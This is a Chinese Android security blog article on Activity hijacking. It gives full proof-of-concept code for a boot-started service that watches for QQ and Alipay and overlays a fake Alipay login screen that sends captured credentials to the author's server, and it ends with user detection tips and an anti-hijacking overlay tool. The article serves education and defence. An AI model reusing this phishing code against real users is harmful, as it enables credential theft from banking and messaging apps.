activity劫持反劫持

移动开发 Android
android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见

1、Activity调度机制

android为了提高用户的用户体验,对于不同的应用程序之间的切换,基本上是无缝。他们切换的只是一个activity,让切换的到前台显示,另一个应用则被覆盖到后台,不可见。Activity 的概念相当于一个与用户交互的界面。而Activity的调度是交由Android系统中的AmS管理的。AmS即 ActivityManagerService(Activity管理服务),各个应用想启动或停止一个进程,都是先报告给AmS。 当AmS收到要启动 或停止Activity的消息时,它先更新内部记录,再通知相应的进程运行或停止指定的Activity。当新的Activity启动,前一个 Activity就会停止,这些Activity都保留在系统中的一个Activity历史栈中。每有一个Activity启动,它就压入历史栈顶,并在 手机上显示。当用户按下back键时,顶部Activity弹出,恢复前一个Activity,栈顶指向当前的Activity。 

2、Android设计上的缺陷——Activity劫持 

如果在启动一个Activity时,给它加入一个标志位FLAG_ACTIVITY_NEW_TASK,就能使它置于栈顶并立马呈现给用户。 
但是这样的设计却有一个缺陷。如果这个Activity是用于盗号的伪装Activity呢? 
在 Android系统当中,程序可以枚举当前运行的进程而不需要声明其他权限,这样子我们就可以写一个程序,启动一个后台的服务,这个服务不断地扫描当前运 行的进程,当发现目标进程启动时,就启动一个伪装的Activity。如果这个Activity是登录界面,那么就可以从中获取用户的账号密码。

 一个运行在后台的服务可以做到如下两点:1,决定哪一个activity运行在前台  2,运行自己app的activity到前台。

 这样,恶意的开发者就可以对应程序进行攻击了,对于有登陆界面的应用程序,他们可以伪造一个一模一样的界面,普通用户根本无法识别是真的还是假。用户输入用户名和密码之后,恶意程序就可以悄无声息的把用户信息上传到服务器了。这样是非常危险的。

实现原理:如 果我们注册一个receiver,响应android.intent.action.BOOT_COMPLETED,使得开启启动一个service;这 个service,会启动一个计时器,不停枚举当前进程中是否有预设的进程启动,如果发现有预设进程,则使用 FLAG_ACTIVITY_NEW_TASK启动自己的钓鱼界面,截获正常应用的登录凭证。


3、示例 
下面是示例代码。

  1. [html] view plaincopy 
  2.  
  3.     <?xml version="1.0" encoding="utf-8"?>   
  4.  
  5.     <manifest xmlns:android="http://schemas.android.com/apk/res/android"   
  6.  
  7.         package="com.sinaapp.msdxblog.android.activityhijacking"   
  8.  
  9.         android:versionCode="1"   
  10.  
  11.         android:versionName="1.0" >   
  12.  
  13.        
  14.  
  15.         <uses-sdk android:minSdkVersion="4" />   
  16.  
  17.        
  18.  
  19.         <uses-permission android:name="android.permission.INTERNET" />   
  20.  
  21.         <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />   
  22.  
  23.        
  24.  
  25.         <application   
  26.  
  27.             android:name=".HijackingApplication"   
  28.  
  29.             android:icon="@drawable/icon"   
  30.  
  31.             android:label="@string/app_name" >   
  32.  
  33.             <activity   
  34.  
  35.                 android:name=".activity.HijackingActivity"   
  36.  
  37.                 android:theme="@style/transparent"   
  38.  
  39.                 android:label="@string/app_name" >   
  40.  
  41.                 <intent-filter>   
  42.  
  43.                     <action android:name="android.intent.action.MAIN" />   
  44.  
  45.        
  46.  
  47.                     <category android:name="android.intent.category.LAUNCHER" />   
  48.  
  49.                 </intent-filter>   
  50.  
  51.             </activity>   
  52.  
  53.             <activity android:name=".activity.sadstories.JokeActivity" />   
  54.  
  55.             <activity android:name=".activity.sadstories.QQStoryActivity" />   
  56.  
  57.             <activity android:name=".activity.sadstories.AlipayStoryActivity" />   
  58.  
  59.        
  60.  
  61.             <receiver   
  62.  
  63.                 android:name=".receiver.HijackingReceiver"   
  64.  
  65.                 android:enabled="true"   
  66.  
  67.                 android:exported="true" >   
  68.  
  69.                 <intent-filter>   
  70.  
  71.                     <action android:name="android.intent.action.BOOT_COMPLETED" />   
  72.  
  73.                 </intent-filter>   
  74.  
  75.             </receiver>   
  76.  
  77.        
  78.  
  79.             <service android:name=".service.HijackingService" >   
  80.  
  81.             </service>   
  82.  
  83.         </application>   
  84.  
  85.        
  86.  
  87.     </manifest>   

在 以上的代码中,声明了一个服务service,用于枚举当前运行的进程。其中如果不想开机启动的话,甚至可以把以上receiver部分的代码,及声明开 机启动的权限的这一行代码 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,仅仅需要访问网络的权限(向外发送获取到的账号密码),单从AndroidManifest文件是看不出任何异常的。
#p#

下面是正常的Activity的代码。在这里只是启动用于Activity劫持的服务。如果在上面的代码中已经声明了开机启动,则这一步也可以省略。

  1. [javascript] view plaincopy 
  2.  
  3.     package com.sinaapp.msdxblog.android.activityhijacking.activity;   
  4.  
  5.        
  6.  
  7.     import android.app.Activity;   
  8.  
  9.     import android.content.Intent;   
  10.  
  11.     import android.os.Bundle;   
  12.  
  13.     import android.util.Log;   
  14.  
  15.        
  16.  
  17.     import com.sinaapp.msdxblog.android.activityhijacking.R;   
  18.  
  19.     import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;   
  20.  
  21.        
  22.  
  23.     public class HijackingActivity extends Activity {   
  24.  
  25.         /** Called when the activity is first created. */   
  26.  
  27.         @Override   
  28.  
  29.         public void onCreate(Bundle savedInstanceState) {   
  30.  
  31.             super.onCreate(savedInstanceState);   
  32.  
  33.             setContentView(R.layout.main);   
  34.  
  35.             Intent intent2 = new Intent(this, HijackingService.class);   
  36.  
  37.             startService(intent2);   
  38.  
  39.             Log.w("hijacking""activity启动用来劫持的Service");   
  40.  
  41.         }   
  42.  
  43.     }   

如果想要开机启动,则需要一个receiver,即广播接收器,在开机时得到开机启动的广播,并在这里启动服务。如果没有开机启动(这跟上面至少要实现一处,不然服务就没有被启动了),则这一步可以省略。

  1. [java] view plaincopy 
  2.  
  3.     /*  
  4.  
  5.      * @(#)HijackingBroadcast.java             Project:ActivityHijackingDemo  
  6.  
  7.      * Date:2012-6-7  
  8.  
  9.      *  
  10.  
  11.      * Copyright (c) 2011 CFuture09, Institute of Software,   
  12.  
  13.      * Guangdong Ocean University, Zhanjiang, GuangDong, China.  
  14.  
  15.      * All rights reserved.  
  16.  
  17.      *  
  18.  
  19.      * Licensed under the Apache License, Version 2.0 (the "License");  
  20.  
  21.      *  you may not use this file except in compliance with the License.  
  22.  
  23.      * You may obtain a copy of the License at  
  24.  
  25.      *  
  26.  
  27.      *     http://www.apache.org/licenses/LICENSE-2.0  
  28.  
  29.      *  
  30.  
  31.      * Unless required by applicable law or agreed to in writing, software  
  32.  
  33.      * distributed under the License is distributed on an "AS IS" BASIS,  
  34.  
  35.      * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
  36.  
  37.      * See the License for the specific language governing permissions and  
  38.  
  39.      * limitations under the License.  
  40.  
  41.      */   
  42.  
  43.     package com.sinaapp.msdxblog.android.activityhijacking.receiver;   
  44.  
  45.        
  46.  
  47.     import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;   
  48.  
  49.        
  50.  
  51.     import android.content.BroadcastReceiver;   
  52.  
  53.     import android.content.Context;   
  54.  
  55.     import android.content.Intent;   
  56.  
  57.     import android.util.Log;   
  58.  
  59.        
  60.  
  61.     /**  
  62.  
  63.      * @author Geek_Soledad (66704238@51uc.com)  
  64.  
  65.      */   
  66.  
  67.     public class HijackingReceiver extends BroadcastReceiver {   
  68.  
  69.        
  70.  
  71.         @Override   
  72.  
  73.         public void onReceive(Context context, Intent intent) {   
  74.  
  75.             if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {   
  76.  
  77.                 Log.w("hijacking""开机启动");   
  78.  
  79.                 Intent intent2 = new Intent(context, HijackingService.class);   
  80.  
  81.                 context.startService(intent2);   
  82.  
  83.                 Log.w("hijacking""启动用来劫持的Service");   
  84.  
  85.             }   
  86.  
  87.         }   
  88.  
  89.     }   

下面这个HijackingService类可就关键了,即用来进行Activity劫持的。 
在这里,将运行枚举当前运行的进程,发现目标进程,弹出伪装程序。 
代码如下:

  1. [java] view plaincopy 
  2.  
  3.     /*  
  4.  
  5.      * @(#)HijackingService.java               Project:ActivityHijackingDemo  
  6.  
  7.      * Date:2012-6-7  
  8.  
  9.      *  
  10.  
  11.      * Copyright (c) 2011 CFuture09, Institute of Software,   
  12.  
  13.      * Guangdong Ocean University, Zhanjiang, GuangDong, China.  
  14.  
  15.      * All rights reserved.  
  16.  
  17.      *  
  18.  
  19.      * Licensed under the Apache License, Version 2.0 (the "License");  
  20.  
  21.      *  you may not use this file except in compliance with the License.  
  22.  
  23.      * You may obtain a copy of the License at  
  24.  
  25.      *  
  26.  
  27.      *     http://www.apache.org/licenses/LICENSE-2.0  
  28.  
  29.      *  
  30.  
  31.      * Unless required by applicable law or agreed to in writing, software  
  32.  
  33.      * distributed under the License is distributed on an "AS IS" BASIS,  
  34.  
  35.      * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
  36.  
  37.      * See the License for the specific language governing permissions and  
  38.  
  39.      * limitations under the License.  
  40.  
  41.      */   
  42.  
  43.     package com.sinaapp.msdxblog.android.activityhijacking.service;   
  44.  
  45.        
  46.  
  47.     import java.util.HashMap;   
  48.  
  49.     import java.util.List;   
  50.  
  51.        
  52.  
  53.     import android.app.ActivityManager;   
  54.  
  55.     import android.app.ActivityManager.RunningAppProcessInfo;   
  56.  
  57.     import android.app.Service;   
  58.  
  59.     import android.content.Context;   
  60.  
  61.     import android.content.Intent;   
  62.  
  63.     import android.os.Handler;   
  64.  
  65.     import android.os.IBinder;   
  66.  
  67.     import android.util.Log;   
  68.  
  69.        
  70.  
  71.     import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication;   
  72.  
  73.     import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity;   
  74.  
  75.     import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity;   
  76.  
  77.     import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;   
  78.  
  79.        
  80.  
  81.     /**  
  82.  
  83.      * @author Geek_Soledad (66704238@51uc.com)  
  84.  
  85.      */   
  86.  
  87.     public class HijackingService extends Service {   
  88.  
  89.         private boolean hasStart = false;   
  90.  
  91.         // 这是一个悲伤的故事……   
  92.  
  93.         HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();   
  94.  
  95.        
  96.  
  97.         // Timer mTimer = new Timer();   
  98.  
  99.         Handler handler = new Handler();   
  100.  
  101.        
  102.  
  103.         Runnable mTask = new Runnable() {   
  104.  
  105.        
  106.  
  107.             @Override   
  108.  
  109.             public void run() {   
  110.  
  111.                 ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);   
  112.  
  113.                 List<RunningAppProcessInfo> appProcessInfos = activityManager   
  114.  
  115.                         .getRunningAppProcesses();   
  116.  
  117.                 // 枚举进程   
  118.  
  119.                 Log.w("hijacking""正在枚举进程");   
  120.  
  121.                 for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {   
  122.  
  123.                     // 如果APP在前台,那么——悲伤的故事就要来了   
  124.  
  125.                     if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {   
  126.  
  127.                         if (mSadStories.containsKey(appProcessInfo.processName)) {   
  128.  
  129.                             // 进行劫持   
  130.  
  131.                             hijacking(appProcessInfo.processName);   
  132.  
  133.                         } else {   
  134.  
  135.                              Log.w("hijacking", appProcessInfo.processName);   
  136.  
  137.                         }   
  138.  
  139.                     }   
  140.  
  141.                 }   
  142.  
  143.                 handler.postDelayed(mTask, 1000);   
  144.  
  145.             }   
  146.  
  147.        
  148.  
  149.             /**  
  150.  
  151.              * 进行劫持  
  152.  
  153.              * @param processName  
  154.  
  155.              */   
  156.  
  157.             private void hijacking(String processName) {   
  158.  
  159.                 Log.w("hijacking""有程序要悲剧了……");   
  160.  
  161.                 if (((HijackingApplication) getApplication())   
  162.  
  163.                         .hasProgressBeHijacked(processName) == false) {   
  164.  
  165.                     Log.w("hijacking""悲剧正在发生");   
  166.  
  167.                     Intent jackingIsComing = new Intent(getBaseContext(),   
  168.  
  169.                             mSadStories.get(processName));   
  170.  
  171.                     jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);   
  172.  
  173.                     getApplication().startActivity(jackingIsComing);   
  174.  
  175.                     ((HijackingApplication) getApplication())   
  176.  
  177.                             .addProgressHijacked(processName);   
  178.  
  179.                     Log.w("hijacking""已经劫持");   
  180.  
  181.                 }   
  182.  
  183.             }   
  184.  
  185.         };   
  186.  
  187.        
  188.  
  189.         @Override   
  190.  
  191.         public IBinder onBind(Intent intent) {   
  192.  
  193.             return null;   
  194.  
  195.         }   
  196.  
  197.        
  198.  
  199.         @Override   
  200.  
  201.         public void onStart(Intent intent, int startId) {   
  202.  
  203.             super.onStart(intent, startId);   
  204.  
  205.             if (!hasStart) {   
  206.  
  207.                 mSadStories.put("com.sinaapp.msdxblog.android.lol",   
  208.  
  209.                         JokeActivity.class);   
  210.  
  211.                 mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);   
  212.  
  213.                 mSadStories.put("com.eg.android.AlipayGphone",   
  214.  
  215.                         AlipayStoryActivity.class);   
  216.  
  217.                 handler.postDelayed(mTask, 1000);   
  218.  
  219.                 hasStart = true;   
  220.  
  221.             }   
  222.  
  223.         }   
  224.  
  225.        
  226.  
  227.         @Override   
  228.  
  229.         public boolean stopService(Intent name) {   
  230.  
  231.             hasStart = false;   
  232.  
  233.             Log.w("hijacking""劫持服务停止");   
  234.  
  235.             ((HijackingApplication) getApplication()).clearProgressHijacked();   
  236.  
  237.             return super.stopService(name);   
  238.  
  239.         }   
  240.  
  241.     }   

下 面是支付宝的伪装类(布局文件就不写了,这个是对老版本的支付宝界面的伪装,新的支付宝登录界面已经完全不一样了。表示老版本的支付宝的界面相当蛋疼,读 从它反编译出来的代码苦逼地读了整个通宵结果还是没读明白。它的登录界面各种布局蛋疼地嵌套了十层,而我为了实现跟它一样的效果也蛋疼地嵌套了八层的组 件)。

 

  1. [java] view plaincopy 
  2.  
  3.     /*  
  4.  
  5.      * @(#)QQStoryActivity.java            Project:ActivityHijackingDemo  
  6.  
  7.      * Date:2012-6-7  
  8.  
  9.      *  
  10.  
  11.      * Copyright (c) 2011 CFuture09, Institute of Software,   
  12.  
  13.      * Guangdong Ocean University, Zhanjiang, GuangDong, China.  
  14.  
  15.      * All rights reserved.  
  16.  
  17.      *  
  18.  
  19.      * Licensed under the Apache License, Version 2.0 (the "License");  
  20.  
  21.      *  you may not use this file except in compliance with the License.  
  22.  
  23.      * You may obtain a copy of the License at  
  24.  
  25.      *  
  26.  
  27.      *     http://www.apache.org/licenses/LICENSE-2.0  
  28.  
  29.      *  
  30.  
  31.      * Unless required by applicable law or agreed to in writing, software  
  32.  
  33.      * distributed under the License is distributed on an "AS IS" BASIS,  
  34.  
  35.      * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
  36.  
  37.      * See the License for the specific language governing permissions and  
  38.  
  39.      * limitations under the License.  
  40.  
  41.      */   
  42.  
  43.     package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;   
  44.  
  45.        
  46.  
  47.     import android.app.Activity;   
  48.  
  49.     import android.os.Bundle;   
  50.  
  51.     import android.os.Handler;   
  52.  
  53.     import android.os.HandlerThread;   
  54.  
  55.     import android.text.Html;   
  56.  
  57.     import android.view.View;   
  58.  
  59.     import android.widget.Button;   
  60.  
  61.     import android.widget.EditText;   
  62.  
  63.     import android.widget.TextView;   
  64.  
  65.        
  66.  
  67.     import com.sinaapp.msdxblog.android.activityhijacking.R;   
  68.  
  69.     import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;   
  70.  
  71.        
  72.  
  73.     /**  
  74.  
  75.      * @author Geek_Soledad (66704238@51uc.com)  
  76.  
  77.      */   
  78.  
  79.     public class AlipayStoryActivity extends Activity {   
  80.  
  81.         private EditText name;   
  82.  
  83.         private EditText password;   
  84.  
  85.         private Button mBtAlipay;   
  86.  
  87.         private Button mBtTaobao;   
  88.  
  89.         private Button mBtRegister;   
  90.  
  91.        
  92.  
  93.         private TextView mTvFindpswd;   
  94.  
  95.        
  96.  
  97.         @Override   
  98.  
  99.         protected void onCreate(Bundle savedInstanceState) {   
  100.  
  101.             super.onCreate(savedInstanceState);   
  102.  
  103.             this.setTheme(android.R.style.Theme_NoTitleBar);   
  104.  
  105.             setContentView(R.layout.alipay);   
  106.  
  107.             mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);   
  108.  
  109.             mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);   
  110.  
  111.             mBtRegister = (Button) findViewById(R.id.alipay_bt_register);   
  112.  
  113.             mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);   
  114.  
  115.             mTvFindpswd.setText(Html.fromHtml("[u]找回登录密码[/u]"));   
  116.  
  117.             mBtAlipay.setSelected(true);   
  118.  
  119.        
  120.  
  121.             name = (EditText) findViewById(R.id.input_name);   
  122.  
  123.             password = (EditText) findViewById(R.id.input_password);   
  124.  
  125.        
  126.  
  127.         }   
  128.  
  129.        
  130.  
  131.         public void onButtonClicked(View v) {   
  132.  
  133.             switch (v.getId()) {   
  134.  
  135.             case R.id.alipay_bt_login:   
  136.  
  137.                 HandlerThread handlerThread = new HandlerThread("send");   
  138.  
  139.                 handlerThread.start();   
  140.  
  141.                 new Handler(handlerThread.getLooper()).post(new Runnable() {   
  142.  
  143.                     @Override   
  144.  
  145.                     public void run() {   
  146.  
  147.                         // 发送获取到的用户密码   
  148.  
  149.                         SendUtil.sendInfo(name.getText().toString(), password   
  150.  
  151.                                 .getText().toString(), "支付宝");   
  152.  
  153.                     }   
  154.  
  155.                 });   
  156.  
  157.                 moveTaskToBack(true);   
  158.  
  159.        
  160.  
  161.                 break;   
  162.  
  163.             case R.id.alipay_bt_alipay:   
  164.  
  165.                 chooseToAlipay();   
  166.  
  167.                 break;   
  168.  
  169.             case R.id.alipay_bt_taobao:   
  170.  
  171.                 chooseToTaobao();   
  172.  
  173.                 break;   
  174.  
  175.             default:   
  176.  
  177.                 break;   
  178.  
  179.             }   
  180.  
  181.         }   
  182.  
  183.        
  184.  
  185.         private void chooseToAlipay() {   
  186.  
  187.             mBtAlipay.setSelected(true);   
  188.  
  189.             mBtTaobao.setSelected(false);   
  190.  
  191.             name.setHint(R.string.alipay_name_alipay_hint);   
  192.  
  193.             mTvFindpswd.setVisibility(View.VISIBLE);   
  194.  
  195.             mBtRegister.setVisibility(View.VISIBLE);   
  196.  
  197.         }   
  198.  
  199.        
  200.  
  201.         private void chooseToTaobao() {   
  202.  
  203.             mBtAlipay.setSelected(false);   
  204.  
  205.             mBtTaobao.setSelected(true);   
  206.  
  207.             name.setHint(R.string.alipay_name_taobao_hint);   
  208.  
  209.             mTvFindpswd.setVisibility(View.GONE);   
  210.  
  211.             mBtRegister.setVisibility(View.GONE);   
  212.  
  213.         }   
  214.  
  215.     }   

上面的其他代码主要是为了让界面的点击效果与真的支付宝看起来尽量一样。主要的代码是发送用户密码的那一句。 
至于SendUtil我就不提供了,它是向我写的服务器端发送一个HTTP请求,将用户密码发送出去。
下面是我在学校时用来演示的PPT及APK。

#p#

4、用户防范 
android 手机均有一个HOME键(即小房子的那个图标),长按可以看到近期任务 对于我所用的HTC G14而言,显示的最近的一个是上一个运行的程序。小米显示的最近的一个是当前运行的程序。所以,在要输入密码进行登录时,可以通过长按HOME键查看近 期任务,以我的手机为例,如果在登录QQ时长按发现近期任务出现了QQ,则我现在的这个登录界面就极有可能是伪装了,切换到另一个程序,再查看近期任务, 就可以知道这个登录界面是来源于哪个程序了。 
如果是小米手机的话,在进行登录时,如果查看的近期任务的第一个不是自己要登录的那个程序的名字,则它就是伪装的。

而且这种方法也不是绝对的  可以在AndroidManifest中相应activity下添加android:noHistory="true"这样就不会把伪装界面显示在最近任务中

5、反劫持

然 而,如果真的爆发了这种恶意程序,我们并不能在启动程序时每一次都那么小心去查看判断当前在运行的是哪一个程序,当 android:noHistory="true"时上面的方法也无效   因此,前几个星期花了一点时间写了一个程序,叫反劫持助手。原理很简单,就是获取当前运行的是哪一个程序,并且显示在一个浮动窗口中,以帮忙用户判断 当前运行的是哪一个程序,防范一些钓鱼程序的欺骗。

在这一次,由于是“正当防卫”,就不再通过枚举来获取当前运行的程序了,在manifest文件中增加一个权限: 

android权限

  1. [html] view plaincopy 
  2.  
  3.     <uses-permission android:name="android.permission.GET_TASKS" />   

然后启动程序的时候,启动一个Service,在Service中启动一个浮动窗口,并周期性检测当前运行的是哪一个程序,然后显示在浮动窗口中。 
程序截图如下:

 

其中Service代码如下

  1. [java] view plaincopy 
  2.  
  3.     /*  
  4.  
  5.      * @(#)AntiService.java            Project:ActivityHijackingDemo  
  6.  
  7.      * Date:2012-9-13  
  8.  
  9.      *  
  10.  
  11.      * Copyright (c) 2011 CFuture09, Institute of Software,   
  12.  
  13.      * Guangdong Ocean University, Zhanjiang, GuangDong, China.  
  14.  
  15.      * All rights reserved.  
  16.  
  17.      *  
  18.  
  19.      * Licensed under the Apache License, Version 2.0 (the "License");  
  20.  
  21.      *  you may not use this file except in compliance with the License.  
  22.  
  23.      * You may obtain a copy of the License at  
  24.  
  25.      *  
  26.  
  27.      *     http://www.apache.org/licenses/LICENSE-2.0  
  28.  
  29.      *  
  30.  
  31.      * Unless required by applicable law or agreed to in writing, software  
  32.  
  33.      * distributed under the License is distributed on an "AS IS" BASIS,  
  34.  
  35.      * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.  
  36.  
  37.      * See the License for the specific language governing permissions and  
  38.  
  39.      * limitations under the License.  
  40.  
  41.      */   
  42.  
  43.     package com.sinaapp.msdxblog.antihijacking.service;   
  44.  
  45.        
  46.  
  47.     import android.app.ActivityManager;   
  48.  
  49.     import android.app.Notification;   
  50.  
  51.     import android.app.Service;   
  52.  
  53.     import android.content.Context;   
  54.  
  55.     import android.content.Intent;   
  56.  
  57.     import android.content.pm.PackageManager;   
  58.  
  59.     import android.content.pm.PackageManager.NameNotFoundException;   
  60.  
  61.     import android.os.Bundle;   
  62.  
  63.     import android.os.Handler;   
  64.  
  65.     import android.os.IBinder;   
  66.  
  67.     import android.os.Message;   
  68.  
  69.     import android.util.Log;   
  70.  
  71.        
  72.  
  73.     import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory;   
  74.  
  75.     import com.sinaapp.msdxblog.antihijacking.AntiConstants;   
  76.  
  77.     import com.sinaapp.msdxblog.antihijacking.view.AntiView;   
  78.  
  79.        
  80.  
  81.     /**  
  82.  
  83.      * @author Geek_Soledad (66704238@51uc.com)  
  84.  
  85.      */   
  86.  
  87.     public class AntiService extends Service {   
  88.  
  89.        
  90.  
  91.         private boolean shouldLoop = false;   
  92.  
  93.         private Handler handler;   
  94.  
  95.         private ActivityManager am;   
  96.  
  97.         private PackageManager pm;   
  98.  
  99.         private Handler mainHandler;   
  100.  
  101.         private AntiView mAntiView;   
  102.  
  103.         private int circle = 2000;   
  104.  
  105.        
  106.  
  107.         @Override   
  108.  
  109.         public IBinder onBind(Intent intent) {   
  110.  
  111.             return null;   
  112.  
  113.         }   
  114.  
  115.        
  116.  
  117.         @Override   
  118.  
  119.         public void onStart(Intent intent, int startId) {   
  120.  
  121.             super.onStart(intent, startId);   
  122.  
  123.             startForeground(19901008new Notification());   
  124.  
  125.             if (intent != null) {   
  126.  
  127.                  circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);   
  128.  
  129.             }    
  130.  
  131.             Log.i("circle", circle + "ms");   
  132.  
  133.             if (true == shouldLoop) {   
  134.  
  135.                 return;   
  136.  
  137.             }   
  138.  
  139.             mAntiView = new AntiView(this);   
  140.  
  141.             mainHandler = new Handler() {   
  142.  
  143.                 public void handleMessage(Message msg) {   
  144.  
  145.                     String name = msg.getData().getString("name");   
  146.  
  147.                     mAntiView.setText(name);   
  148.  
  149.                 };   
  150.  
  151.             };   
  152.  
  153.             pm = getPackageManager();   
  154.  
  155.             shouldLoop = true;   
  156.  
  157.             am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);   
  158.  
  159.             handler = new Handler(   
  160.  
  161.                     HandlerFactory.getHandlerLooperInOtherThread("anti")) {   
  162.  
  163.                 @Override   
  164.  
  165.                 public void handleMessage(Message msg) {   
  166.  
  167.                     super.handleMessage(msg);   
  168.  
  169.                     String packageName = am.getRunningTasks(1).get(0).topActivity   
  170.  
  171.                             .getPackageName();   
  172.  
  173.                     try {   
  174.  
  175.                         String progressName = pm.getApplicationLabel(   
  176.  
  177.                                 pm.getApplicationInfo(packageName,   
  178.  
  179.                                         PackageManager.GET_META_DATA)).toString();   
  180.  
  181.                         updateText(progressName);   
  182.  
  183.                     } catch (NameNotFoundException e) {   
  184.  
  185.                         e.printStackTrace();   
  186.  
  187.                     }   
  188.  
  189.        
  190.  
  191.                     if (shouldLoop) {   
  192.  
  193.                         handler.sendEmptyMessageDelayed(0, circle);   
  194.  
  195.                     }   
  196.  
  197.                 }   
  198.  
  199.             };   
  200.  
  201.             handler.sendEmptyMessage(0);   
  202.  
  203.         }   
  204.  
  205.        
  206.  
  207.         private void updateText(String name) {   
  208.  
  209.             Message message = new Message();   
  210.  
  211.             Bundle data = new Bundle();   
  212.  
  213.             data.putString("name", name);   
  214.  
  215.             message.setData(data);   
  216.  
  217.             mainHandler.sendMessage(message);   
  218.  
  219.         }   
  220.  
  221.        
  222.  
  223.         @Override   
  224.  
  225.         public void onDestroy() {   
  226.  
  227.             shouldLoop = false;   
  228.  
  229.             mAntiView.remove();   
  230.  
  231.             super.onDestroy();   
  232.  
  233.         }   
  234.  
  235.        
  236.  
  237.     }   

浮动窗口仅为一个简单的textview,非此次的技术重点,在这里省略不讲。 
当然,从以上代码也可以看出本程序只能防范通过Activity作为钓鱼界面的程序,因为它是通过运行的顶层的Activity来获取程序名称的,对WooYun最近提到的另一个钓鱼方法它还是无能为力的,关于这一点将在下次谈。

本文链接:http://my.oschina.net/u/1382022/blog/293553

责任编辑:chenqingxiang 来源: oschina
相关推荐

2017-07-06 10:35:54

Web前端劫持

2012-02-17 17:07:30

Android安全Activity劫持

2009-09-02 20:18:17

域名劫持域名安全

2015-11-09 14:37:45

Android安全

2015-11-09 14:28:06

Adroid安全

2016-03-16 09:47:55

2021-01-29 09:19:21

DNS劫持HTTP劫持加密

2017-01-23 10:10:09

2015-10-15 11:57:46

2021-08-06 11:24:35

域名劫持网站安全网络攻击

2013-06-25 10:11:18

2015-12-28 16:53:43

2019-01-09 16:28:50

2010-09-09 13:43:36

2013-07-27 20:08:24

2021-04-07 09:52:46

JavaScript函数劫持攻击

2016-10-10 13:51:42

2016-12-13 08:45:48

2018-12-27 15:13:47

加密货币攻击恶意软件

2013-06-21 09:56:26

点赞
收藏

51CTO技术栈公众号